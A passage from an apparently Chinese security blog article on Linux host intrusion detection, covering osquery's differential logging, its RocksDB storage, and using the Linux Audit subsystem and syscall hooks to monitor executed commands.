20px;font-size: 13px !important;white-space: inherit !important;">&#34;shard&#34;</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="lit" style="box-sizing: border-box;color: rgb(223, 83, 32);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">100</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">}</span></code></span></span></p></li></ol></pre><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;text-align: start;">每隔 60s 执行一次获取系统用户，第一次执行时会回传所有的用户，第二次执行如果没有新增用户，就不会再回传信息。当然这是一个可选项，添加 <code class="prettyprint code-in-text prettyprinted" style="box-sizing: border-box;background: rgb(243, 241, 241);color: rgb(88, 88, 88);line-height: 18px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34;!important;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span class="pln" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">snapshot</span><span class="pun" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">:</span><span class="kwd" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">true</span></code> 属性后，就可以禁用差异回传的功能。</p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;text-align: start;">为了实现这个功能，OSQuery 需要在 Agent 上存储历史数据，使用的是同样由 facebook 开源的 RocksDB。这是一个 key-value 形式的高速存储数据库，默认目录在 <code class="prettyprint code-in-text prettyprinted" style="box-sizing: border-box;background: rgb(243, 241, 241);color: rgb(88, 88, 88);line-height: 18px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34;!important;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span class="str" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">/var/</span><span class="pln" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">osquery</span><span class="pun" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">/</span><span class="pln" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">osquery</span><span class="pun" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">.</span><span class="pln" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">db</span><span class="pun" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">/</span></code>。RocksDB 没有提供像 <code class="prettyprint code-in-text prettyprinted" style="box-sizing: border-box;background: rgb(243, 241, 241);color: rgb(88, 88, 88);line-height: 18px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34;!important;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span class="pln" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">redis</span><span class="pun" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">-</span><span class="pln" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">cli</span></code> 的 client，但是可以利用第三方工具读取 <code class="prettyprint code-in-text prettyprinted" style="box-sizing: border-box;background: rgb(243, 241, 241);color: rgb(88, 88, 88);line-height: 18px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34;!important;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span class="pun" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">.</span><span class="pln" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">sst</span></code> 文件的内容。</p><p style="text-align: center;"><img class="rich_pages" data-copyright="0" data-ratio="0.22944162436548224" data-s="300,640" style="" data-type="jpeg" data-w="985" src="https://wechat2rss.xlab.app/img-proxy/?k=d551a10f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FSfhB0IDvicQnDic1ia1Ff6LVydjXCndgoLN9F0S0nq0mPBu43r54XZmic4kuIVPIrXcBqlibOb8iaXKEGEINK1w45eYA%2F640%3Fwx_fmt%3Djpeg"/></p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;text-align: start;">正常情况下，日志会自动滚动存储（Log rotate），每次执行语句都会删除旧的记录，将新的结果存下来。但是有一个例外，就是 audit events 数据。audit events记录是通过限制总条数来进行的。但是这个地方的逻辑似乎存在一些问题，有时候会出现大量events日志未删除的情况（<a href="https://github.com/facebook/osquery/issues/5310），导致占用磁盘过高的问题。" target="_blank">https://github.com/facebook/osquery/issues/5310），导致占用磁盘过高的问题。</a></p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;text-align: start;">暂且不提 bug 的事情，后面统一归纳总结。我们继续讲 audit 这个磨人的小妖精。</p><h3 style="box-sizing: border-box;margin-top: 1.5rem;margin-bottom: 1rem;color: rgb(21, 153, 87);line-height: 1.35;font-size: 20px;text-align: start;white-space: normal;font-family: Menlo, Monaco, &#34;Source Code Pro&#34;, Consolas, Inconsolata, &#34;Ubuntu Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Courier New&#34;, &#34;Droid Sans Mono&#34;, &#34;Hiragino Sans GB&#34;, 微软雅黑, monospace !important;">0x02 不得不说的Audit</h3><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;text-align: start;">Audit 是 Linux 内核中的一个模块，内核的运行情况、各类系统调用（syscall）都会在 audit 中记录。在 CentOS 的各个发行版中均默认安装了 Audit，在 CentOS7 中还会默认启动 Auditd 进程，负责通过 netlink 与 Audit 模块建立连接，并且将指定的数据记录在磁盘中（默认路径为：/var/log/auditd/audit.log）。</p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;text-align: start;">当然默认是没有任何规则的，你可以用 auditctl 命令添加一条规则查看所有的进程：</p><pre class="prettyprint linenums prettyprinted" style="box-sizing: border-box;padding-top: 8px;padding-bottom: 6px;background: rgb(241, 239, 238);border-radius: 0px;overflow-y: auto;color: rgb(80, 97, 109);text-align: start;font-size: 10px;line-height: 12px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34;!important;border-width: 1px !important;border-style: solid !important;border-color: rgb(226, 226, 226) !important;"><ol class="linenums list-paddingleft-2" style="list-style-type: none;"><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">auditctl </span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">a always</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span class="kwd" style="box-sizing: border-box;color: rgb(102, 102, 234);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">exit</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">F arch</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">b64 </span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">S execve</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">tail </span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">f </span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">/</span><span class="kwd" style="box-sizing: border-box;color: rgb(102, 102, 234);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">var</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">/</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">log</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">/</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">auditd</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">/</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">audit</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">log</span></code></span></span></p></li></ol></pre><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;text-align: start;">这也是 Audit 在入侵检测中最重要的功能之一，记录进程信息。对于新一代的 HIDS，进程信息是非常重要的数据。驭龙HIDS有一篇文章（<a href="https://xz.aliyun.com/t/2242）写到：" target="_blank">https://xz.aliyun.com/t/2242）写到：</a></p><pre class="prettyprint linenums prettyprinted" style="box-sizing: border-box;padding-top: 8px;padding-bottom: 6px;background: rgb(241, 239, 238);border-radius: 0px;overflow-y: auto;color: rgb(80, 97, 109);text-align: start;font-size: 10px;line-height: 12px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34;!important;border-width: 1px !important;border-style: solid !important;border-color: rgb(226, 226, 226) !important;"><ol class="linenums list-paddingleft-2" style="list-style-type: none;"><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="typ" style="box-sizing: border-box;color: rgb(64, 126, 231);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">Linux</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">上的</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">HIDS</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">需要实时对执行的命令进行监控，分析异常或入侵行为，有助于安全事件的发现和预防。为了获取执行命令，大致有如下方法：</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="lit" style="box-sizing: border-box;color: rgb(223, 83, 32);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">1.</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">遍历/</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">proc</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">目录，无法捕获瞬间结束的进程。</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="lit" style="box-sizing: border-box;color: rgb(223, 83, 32);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">2.</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="typ" style="box-sizing: border-box;color: rgb(64, 126, 231);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">Linux</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> kprobes</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">调试技术，并非所有</span><span class="typ" style="box-sizing: border-box;color: rgb(64, 126, 231);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">Linux</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">都有此特性，需要编译内核时配置。</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="lit" style="box-sizing: border-box;color: rgb(223, 83, 32);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">3.</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">修改</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">glic</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">库中的</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">execve</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">函数，但是可通过</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">int0x80</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">绕过</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">glic</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">库，这个之前</span><span class="lit" style="box-sizing: border-box;color: rgb(223, 83, 32);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">360</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> A</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">TEAM</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">一篇文章有写到过。</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="lit" style="box-sizing: border-box;color: rgb(223, 83, 32);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">4.</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">修改</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">sys_call_table</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">，通过</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">LKM</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">loadable kernel </span><span class="kwd" style="box-sizing: border-box;color: rgb(102, 102, 234);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">module</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">)实时安装和卸载监控模块，但是内核模块需要适配内核版本。</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">综合上面方案的优缺点，我们选择修改</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">sys_call_table</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">中的</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">execve</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">系统调用，虽然要适配内核版本，但是能</span><span class="lit" style="box-sizing: border-box;color: rgb(223, 83, 32);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">100</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">%监控执行的命令。</span></code></span></span></p></li></ol></pre><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;text-align: start;">实际上是遗漏了接入成本最低的 audit。前一段时间，点融SRC的黑阔们也开源了自己的HIDS -- AgentSmith HIDS。</p><pre class="prettyprint linenums prettyprinted" style="box-sizing: border-box;padding-top: 8px;padding-bottom: 6px;background: rgb(241, 239, 238);border-radius: 0px;overflow-y: auto;color: rgb(80, 97, 109);text-align: start;font-size: 10px;line-height: 12px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34;!important;border-width: 1px !important;border-style: solid !important;border-color: rgb(226, 226, 226) !important;"><ol class="linenums list-paddingleft-2" style="list-style-type: none;"><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">我们采用了通过加载</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">LKM</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">来实现</span><span class="typ" style="box-sizing: border-box;color: rgb(64, 126, 231);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">Hook</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> execve</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">connectinit_module</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">finit_module </span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">的</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">system_call</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">，</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">execve</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">是为了捕获执行的命令来监控异常操作，归档等；监控</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">connect</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">是为了捕获服务器的网络行为，不仅仅可以发现很多安全问题，也可以方便的和</span><span class="typ" style="box-sizing: border-box;color: rgb(64, 126, 231);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">AgentSmith</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">NIDS</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">联动；监控</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">init_modle</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">和</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">finit_module</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">是为了监控加载</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">LKM</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">的行为，可以在这个层面做一些</span><span class="typ" style="box-sizing: border-box;color: rgb(64, 126, 231);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">Anti</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span class="typ" style="box-sizing: border-box;color: rgb(64, 126, 231);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">Rootkit</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">的检测。</span></code></span></span></p></li><li><p><br/></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 